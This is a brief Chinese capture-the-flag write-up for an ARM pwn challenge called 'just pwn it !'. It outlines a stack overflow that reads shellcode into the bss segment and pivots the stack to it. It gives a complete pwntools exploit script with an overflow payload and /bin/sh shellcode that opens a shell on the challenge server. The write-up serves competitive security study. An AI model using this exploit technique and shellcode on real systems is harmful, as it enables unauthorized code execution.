点击此处获得更好的阅读体验
WriteUp来源
来自Venom战队
发布
题目描述
just pwn it !
题目考点
解题思路
栈溢出,重新执行read读shellcode到bss段然后栈迁移执行shellcode
1 2 3 4 5 6 7 8
| from pwn import * p = remote("139.159.210.220", 9999)
payload = cyclic(0x100)+p32(0x21100)+p32(0x10348)+p32(0x21100)+p32(0x104e4) p.sendafter("input: ", payload) pause() p.send(p32(0x21104)+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68") p.interactive()
|